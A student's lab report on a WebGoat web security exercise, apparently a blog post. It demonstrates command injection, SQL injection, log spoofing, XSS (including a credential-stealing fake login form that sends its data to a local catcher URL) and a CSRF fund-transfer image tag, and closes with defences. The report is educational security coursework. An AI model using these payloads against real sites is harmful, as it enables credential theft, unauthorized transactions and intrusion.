Exp 9 Web安全基础

一、实验概述

  • 实验目的
    • 理解常用网络攻击技术的基本实验原理
    • 借助WebGoat做不少于7个题目,要求包括SQL、XSS、CSRF三种攻击类型
  • 实验准备

    • 安装且配置完成后,结果如下图所示(左列会出现很多课程):

二、实验过程

(一)SQL注入攻击

关于SQL注入攻击,实现Command Injection、Log Spoofing、Numeric SQL Injection、String SQL Injection四种。

  • Command Injection——命令注入

概念:通过提交恶意构造的参数破坏命令语句结构,从而达到执行恶意命令的目的,允许未经授权执行操作系统命令

原理:在正常的参数提交中,添加了恶意代码,靶机未对特殊的要求进行过滤

防范:通过黑名单、白名单来防范

       在左侧列表选择【Injection Flaws】,在此下拉框中选择【Command Injection】,进入到命令注入攻击课程中,光标在右侧页面任意一处,点击右键,选择【Inspect Element】查看网页源代码,在页面下方出现的网页源代码中的特定位置,添加【“& netstat -an & ipconfig”】,可以看到上方框框中内容也发生了改变,点击右侧的【view】,即可看到端口使用情况(奇怪的是怎么没有看到ip地址?)。

  • Numeric SQL Injection——数字型SQL注入

原理:输入的数字构成了具有特殊功能的命令

       在第一个“Command Injection”的下面就是“Numeric SQL Injection”,按照右键-【Inspect Element】的方法调出网页源代码,在value=“101”的101后面加or 1=1,变成value="101 or 1=1",点击Go!即可看到数据库中所有天气数据。

       成功显示所有天气数据:

  • Log Spoofing——日志欺骗

         选择顺序为【Injection Flaws】-【Log Spoofing】,日志欺骗可以通过在用户名输入时候加入换行符等,以此实现日志欺骗。在User Name中填入 WebGoat%0d%0aLogin Succeeded for username:20174312 (其中回车%0d和换行符%0a让其在日志中显示两行),点击Login按钮,观察结果:

 

       其实我们并没有登录成功,但是从日志看的话,用户WebGoat登录失败,用户20174312登录成功,它是通过输入具有特殊功能的字符(回车换行等),让日志具有了迷惑性,实现日志欺骗。

  •  String SQL Injection——字符串型注入

       在【Injection Flaws】找到String SQL  Injection,调出网页源代码,将maxlength的值更改网页对密码输入长度的限制由8改为20,以确保可以在密码输入的地方输入完整的命令造成字符串型注入攻击:

        选择老板的身份(Neville)登录,在密码处输入 john' or 1=1-- ,发现成功以老板身份登录,此攻击原理是根据根据语句select * from users where username='' and password='john' or 1=1--',单引号使其提前闭合,而1=1为永真式,--则注释掉了后面的部分,所以可以成功登录。

(二)XSS攻击

在此部分,是在Cross-Site Scripting(XSS)下,实现Phishing with XSS、Stored XSS Attacks、Reflected XSS Attacks三种。

  •  Phishing with XSS——使用XSS钓鱼

       此攻击是是创建一个表单,让受害者填写用户名和密码信息,然后会截取用户信息提交到WebGoat上去。在html中插入请求凭据,添加javascript以实际收集凭据,将凭据发送到“http://localhost:8080/WebGoat/catcher?PROPERTY=yes”。将在search框内输入以下代码:

</form><script>function hack(){ XSSImage=new Image; XSSImage.src="http://localhost/WebGoat/catcher?PROPERTY=yes&user="+ document.phish.user.value + "&password=" + document.phish.pass.value + ""; alert("Had this been a real attack... Your credentials were juststolen. User Name = " + document.phish.user.value + "Password = " + document.phish.pass.value);} </script><form name="phish"><br><br><HR><H3>This feature requires account login:</H3 ><br><br>Enter Username:<br><input type="text" name="user"><br>Enter Password:<br><input type="password" name = "pass"><br><input type="submit" name="login" value="login" onclick="hack()"></form><br><br><HR>

点击login进行登录,发现webgoat可以成功获得用户输入的用户名和密码。

  •  Stored XSS Attacks——存储型XSS攻击

XSS攻击可以分为三类:反射型、存储型、DOM型。

反射型XSS原理是通过在页面上植入恶意链接,诱使用户点击,执行js脚本,所谓反射型XSS就是将用户输入的数据(恶意用户输入的js脚本),“反射”到浏览器执行;存储型XSS是指,用户输入的数据(恶意代码)可以“存储”在服务端,只要有人访问这个包含有存储型XSS代码的页面,XSS脚本就会在他们的浏览器中执行,这种XSS具有很强的稳定性,所以也称做“持久型XSS”;DOM型XSS类似于反射型XSS,但是,这种XSS攻击的实现是通过对DOM树的修改而实现的。

找到Stored XSS Attacks,在右侧页面输入title,可以任意输入,在message中输入:

<script>alert("You have to pay me to see the details.");</script>

合乎语法就行,引号内为弹框内容,点击页面下方链接(之前使用过的链接仍然存在),即会有弹窗显示:

  •  Reflected XSS Attacks——反射型XSS攻击

在服务器端验证所有输入始终是一个好的实践。当在HTTP响应中使用未经验证的用户输入时,可能会发生XSS。在反射型XSS攻击中,攻击者可以使用攻击脚本创建一个URL,并将其发布到另一个网站、通过电子邮件发送,或者通过其他方式让受害者点击它。

在enter your three digit acess code处输入:

<script>alert("Hello,20174312! Suprise!");</script>

       点击purchase,即可看到下图所示:

(三)CSRF攻击

  •  Cross Site Request Forgery(CSRF)

       在Cross-Site Scripting(XSS)下,找到 Cross Site Request Forgery(CSRF),点开,右侧页面提示:您的目标是向新闻组发送电子邮件。电子邮件包含一个图片,其URL指向一个恶意请求。在本节课中,URL应该指向“攻击”servlet,其中包含本节课的“屏幕”和“菜单”参数,以及一个额外的参数“transferFunds”,该参数具有任意的数值,比如5000。您可以通过在右侧的参数中找到“屏幕”和“菜单”值来构造链接。当时经过验证的CSRF电子邮件的收件人将转移他们的资金。当这一课的攻击成功时,一个绿色的复选标记出现在左边菜单的课程名称旁边。根据此提示完成。可以看到页面右侧显示src=328(src是screen的缩写),menu=900,结合这两个参数和transferFounds,输入命令 <img src="http://localhost:8080/WebGoat/attack?Screen=328&menu=900&transferFunds=5000"/> ,点击submit按钮,然后成功实现攻击。

三、实验总结

1.问题回答

(1)SQL注入攻击原理,如何防御

原理:SQL Injection,就是通过特殊的输入,使Web表单递交查询的字符串构成了合理有效的恶意输入,达到了欺骗服务器的目的(服务器将其恶意输入当做正常SQL命令进行执行),从而实现目的。比如即使用户名、密码不完全符合却可以成功登录。SQL注入攻击利用了设计上的漏洞,没有对用户输入的数据进行验证是sql攻击得逞的主要原因。

防范:校验用户输入,比如限制用户输入的信息中不能包含单引号、“-”等。

(2)XSS攻击的原理,如何防御

原理:XSS,跨站脚本攻击,它指的是Web页面被恶意攻击者插入恶意代码,当用户浏览此网页时,恶意代码被浏览器执行,从而形成XSS攻击,若是攻击成功,则可以实现删除用户的日志等。

防范:验证用户输入,或对用户输入的内容消除代码执行时的歧义,确保用户输入作为文本显示而作为不是代码解析

(3)CSRF攻击原理,如何防御

原理:CSRF,全拼为Cross Site Request Forgery,跨站请求伪造,是指攻击者盗用了用户身份,以用户的名义进行了恶意操作。用户登录网站时,浏览器保存了cookie信息,攻击者在cookie信息没有过期的情况下,盗用用户身份发送恶意请求,比如以用户名义发送邮件等,从而获得金钱或者其它利益。

防范:在每一个表单请求中加入一个随机的参数;验证HTTP Referer字段

2.实验体会

        感觉此次实验在操作上并不能算是难的,但是对于SQL注入、XSS攻击、CSRF攻击,这三种攻击的原理理解有些难。总的来说,通过此次实验,还是有很大收获的。了解了三种攻击的原理以及如何防范,对其它方面的知识,比如数据库等也了解了一些,自己的安全意识也有进一步的增强,同时也觉察到web安全这一方面的漏洞还是比较多的,网页编写者要对web安全给予足够的重视。

       最后,我想说,9个实验终于全部结束了。从整个课程来讲,我个人感觉实验对整个学习过程、对巩固课堂知识是十分重要且有利的,而且从实验中学到了一些课堂上没有提到的知识。虽然难,但是很棒!

posted @ 2020-05-30 17:20  zhaiying0000  阅读(100)  评论(0编辑  收藏